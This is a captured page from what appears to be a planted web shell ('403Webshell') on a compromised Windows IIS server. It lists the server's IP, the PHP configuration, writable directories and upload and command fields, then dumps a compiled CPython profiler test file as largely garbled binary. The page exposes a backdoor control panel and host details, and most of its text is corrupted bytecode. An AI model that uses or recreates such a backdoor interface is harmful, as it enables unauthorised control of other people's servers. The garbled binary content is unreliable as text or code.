403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_samply_profiler.cpython-315.pyc
R
>lqj$c��]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH G	s	]QH(Gs\O%f\OQ2g\OP	P	P	P	Q5%c\OQ2gQs\2%f\OQ2gQ	sQ
s\2s\O&\Q2QQ
22s\O&\Q2QQ\O*\22s\O&\Q2QQ\O*\22s\Q6Xc\O22P!P!)�)�support)�make_script)�temp_dirztest module requires subprocess)�address�memory�ub�functionz,test crash randomly on ASAN/MSAN/UBSAN buildc�`�[OQ2oU%fP
![U2]6H!)�PY_HAVE_PERF_TRAMPOLINE)�	sysconfig�get_config_var�int)�perf_trampolines �.C:\Python315\\Lib\test\test_samply_profiler.py�supports_trampoline_profilingrs)���.�.�/H�I�O������1�$�$�z'perf trampoline profiling not supportedc
��[29^tt^2oUQ*oQQQQU[OQQ1o-[OAQQ-Ao[
OV P	[
OUQ	5oQ
U7cPPP2P
!PPP2P	![
O[1c
PPP2P
!h9h)%fhP	!9h)�/profile.json.gz�samply�record�--save-onlyz--outputz-czprint("hello")�
PYTHON_JIT�0)�cwd�text�stderr�env�hello)
r�sys�
executable�os�environ�
subprocess�check_output�STDOUT�SubprocessError�OSError)�
script_dir�output_file�cmdr�stdouts     r�_samply_command_worksr+"s���	���z�	�$�'9�9�K���������� �	�C�4�R�Z�Z�3��s�3�C��,�,��$�z�7H�7H�c��F��&� ��+
��(!�)
�.��
�*�*�G�4�	��%
��"	��#
��.�sA�B<�AB�5B<�<B<�B9�,B9�-B<�8B9�9B<�<C
	�C
	c�P�[OO2oU%cUOU2QUQ$UQ*oQQQQU1o[O
VQ*[O[OUQ5oUO%c>[UO[OQ5[Q	UO02g]PH2oUOUQ
QQ59^tt^2oUO2ttPPP2!)%fhP!9h)
rrrrrrz-o)r*rr)�filezSamply failed with return code �rtzutf-8)�mode�encoding)r r!�copy�updater"�run�PIPE�
returncode�printrr�
ValueError�gzip�open�read)	r�args�env_varsrr(�base_cmd�procr8�fs	&*,      r�
run_samplyr@>s���
�*�*�/�/�
�C���
�
�8���C����*�*�K�����k�	�H��>�>����������	�D�����
�d�k�k��
�
�+��:�4�?�?�:K�L�M�M��	
���;�T�G��	<�	<���v�v�x�
=�	<�	<�	<�s�9D�D%	�D%	zsamply command doesn't workc�4`�\sQs][snQsQsQsQsUsP!)�TestSamplyProfilerMixinc��[2g)N)�NotImplementedError)�selfr'�	perf_mode�scripts&&&&rr@�"TestSamplyProfilerMixin.run_samply]s��!�#�#rc�$�[29^tt^2oQo[UQU2oUOV2oUOQU0U2UOQU0U2UOQU0U2PPP2P!)%fhP!9h)�!if 1:
                def foo(n):
                    x = 0
                    for i in range(n):
                        x += i

                def bar(n):
                    foo(n)

                def baz(n):
                    bar(n)

                baz(10000000)
                �perftest�py::foo:�py::bar:�py::baz:)rrr@�assertIn�rEr'�coderG�outputs&    r�7test_python_calls_appear_in_the_stack_if_perf_activated�OTestSamplyProfilerMixin.test_python_calls_appear_in_the_stack_if_perf_activated`s{��
�Z�Z�:�
�D�!��Z��>�F��_�_�Z�8�F��M�M�H�V�H�-�v�6��M�M�H�V�H�-�v�6��M�M�H�V�H�-�v�6�)�Z�Z�Z�s�A A>�>B	�B	c�(�[29^tt^2oQo[UQU2oUOVP
Q5oUOQU0U2UOQU0U2UOQU0U2PPP2P!)%fhP!9h)rJrK)�activate_trampolinerLrMrN)rrr@�assertNotInrPs&    r�@test_python_calls_do_not_appear_in_the_stack_if_perf_deactivated�XTestSamplyProfilerMixin.test_python_calls_do_not_appear_in_the_stack_if_perf_deactivatedws���
�Z�Z�:�
�D�!��Z��>�F��_�_���%��F�
���x��x�0�&�9����x��x�0�&�9����x��x�0�&�9�-�Z�Z�Z�s�A"B�B	�	B	�)	�__name__�
__module__�__qualname__�__firstlineno__r@rSrX�__static_attributes__�__classdictcell__)�
__classdict__s@rrBrB[s����$�7�.:�:rrBc�\``�\sQs]�snQQksU1QksU1QkU1QkksQsQsUs	U9s
!)�TestSamplyProfilerc��U%c[U[OQU2![U[OU2!)�-Xperf�r@rr�rEr'rGrVs&&&&rr@�TestSamplyProfiler.run_samply�s-����j�#�.�.�(�F�K�K��*�c�n�n�f�=�=rc�:�[RU_2[[OQ2OQ22UmP!��/tmp/z
perf-*.map)�super�setUp�set�pathlib�Path�glob�
perf_files�rE�	__class__s&�rrm�TestSamplyProfiler.setUp�s,���
��
���g�l�l�7�3�8�8��F�G��rc� :�U]6�cPgQP-!���returnrZ)�formatras"�r�__annotate__�(TestSamplyProfiler.tearDown.__annotate__�������$�rc��:�[RU_2[[OQ2OQ22UO*
oSFDoUO2J	P!rj)rl�tearDownrnrorprqrr�unlink�rE�files_to_deleter-rts&  �rr�TestSamplyProfiler.tearDown�sM���
��������W�%�*�*�<�8�9�D�O�O�K�	�$�D��K�K�M�$rc
���Qo[29^tt^2o[UQU2o-[OAQQ-Ao[O
[OQU,P	[O[OUQ59^tt^2oUO2vqgPPP2PPP2UOWO]2UOQW2[WO22o[O QUO"Q02o	[O QUQ02o
UO%U	O'22UO%U
O'22U	O)2oUO+Q	W0U2UO+Q
U0U2UO+QU0U2UO+QU0U2U
O)2oUO+QU0U2UO+QU0U2UO-Q
2o
S
FD*oQU0U7f
QU0U7fJUO+V�2J,	P!)%fhCK�9h)%fhCK�9h)a�if 1:
                import sys
                import os
                import sysconfig
                from _testinternalcapi import (
                    compile_perf_trampoline_entry,
                    perf_trampoline_set_persist_after_fork,
                )

                def foo_fork():
                    pass

                def bar_fork():
                    foo_fork()

                def foo():
                    import time; time.sleep(1)

                def bar():
                    foo()

                def compile_trampolines_for_all_functions():
                    perf_trampoline_set_persist_after_fork(1)
                    for _, obj in globals().items():
                        if callable(obj) and hasattr(obj, '__code__'):
                            compile_perf_trampoline_entry(obj.__code__)

                if __name__ == "__main__":
                    compile_trampolines_for_all_functions()
                    pid = os.fork()
                    if pid == 0:
                        print(os.getpid())
                        bar_fork()
                    else:
                        bar()
                rKrrre)�universal_newlinesrr*rzError:z
/tmp/perf-z.maprLrMz
py::foo_fork:z
py::bar_fork:�
)rrr r!r"�Popenrrr4�communicate�assertEqualr5rWr
�striprorp�pid�
assertTrue�exists�	read_textrO�split)rErQr'rGr�processr*r�	child_pid�	perf_file�perf_child_file�perf_file_contents�child_perf_file_contents�perf_file_lines�lines&              r�test_pre_fork_compile�(TestSamplyProfiler.test_pre_fork_compile�s!��#��J�Z�Z�:� ��Z��>�F�3�R�Z�Z�3��s�3�C��!�!�����6�2�#'�!���!�������!(�!4�!4�!6�����	
����+�+�Q�/�����6�*������'�	��L�L�:�g�k�k�]�$�!?�@�	�!�,�,��I�;�d�'C�D�����	�(�(�*�+�����.�.�0�1�&�0�0�2���
�
����)�+=�>��
�
����)�+=�>��
�
�
�f�X�.�0B�C��
�
�
�f�X�.�0B�C�#2�#<�#<�#>� ��
�
�
�f�X�.�0H�I��
�
�
�f�X�.�0H�I�-�2�2�4�8��#�D��v�h�'�4�/�]�6�(�3K�t�3S��
�
�d�=�$�=�����Z�Z�s0�A4I&�
I	�I&�I#
�I#
�	I&�&I7	�/I7	)rr�T)r[r\r]r^r@rmrr�r_r`�
__classcell__�rtras@@rrcrc�s&����>�
H���I>�I>rrcc�V``�\sQs]�snQQksU1QksU1QkU1QkksQsUsU9s	!)�TestSamplyProfilerWithJitDumpc��U%c[U[OQU2![U[OU2!)z
-Xperf_jitrfrgs&&&&rr@�(TestSamplyProfilerWithJitDump.run_samply�s-����j�#�.�.�,��O�O��*�c�n�n�f�=�=rc�:�[RU_2[[OQ2OQ22UmU9O[[OQ2OQ22*tmP!�rkz
jit-*.dumpzjitted-*.so)rlrmrnrorprq�	jit_filesrss&�rrm�#TestSamplyProfilerWithJitDump.setUp�sS���
��
���W�\�\�'�2�7�7��E�F������#�g�l�l�7�3�8�8��G�H�H�rc� :�U]6�cPgQP-!rwrZ)rzras"�rr{�3TestSamplyProfilerWithJitDump.tearDown.__annotate__�r}rc�D:�[RU_2[[OQ2OQ22oU[[OQ2OQ22*oVO*oSFDoUO2J	P!r�)rlrrnrorprqr�r�r�s&  �rr�&TestSamplyProfilerWithJitDump.tearDown�sn���
�����g�l�l�7�3�8�8��F�G���3�w�|�|�G�4�9�9�-�H�I�I���>�>�)��#�D��K�K�M�$r)r�r�)
r[r\r]r^r@rmrr_r`r�r�s@@rr�r��s����
>�
I�
��rr��__main__)�unittestr"rrr ro�testr�test.support.script_helperr�test.support.os_helperr�has_subprocess_support�SkipTest�check_sanitizerrr+r@�SAMPLY_COMMAND_WORKS�
skipUnlessrB�TestCasercr�r[�mainrZrr�<module>r�sT����
��	����,��%�%�%�
�
�
�=�
>�>�
���4����M�M��
�
�J�
K�K�%�%�&�&�
�
�
�E�
F�F��8�4-�.��
���)�+H�I�2:�2:�J�2:�j
���)�+H�I�[>��*�*�,C�[>�J�[>�|
���)�+H�I��H�$5�$5�7N��J��.�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit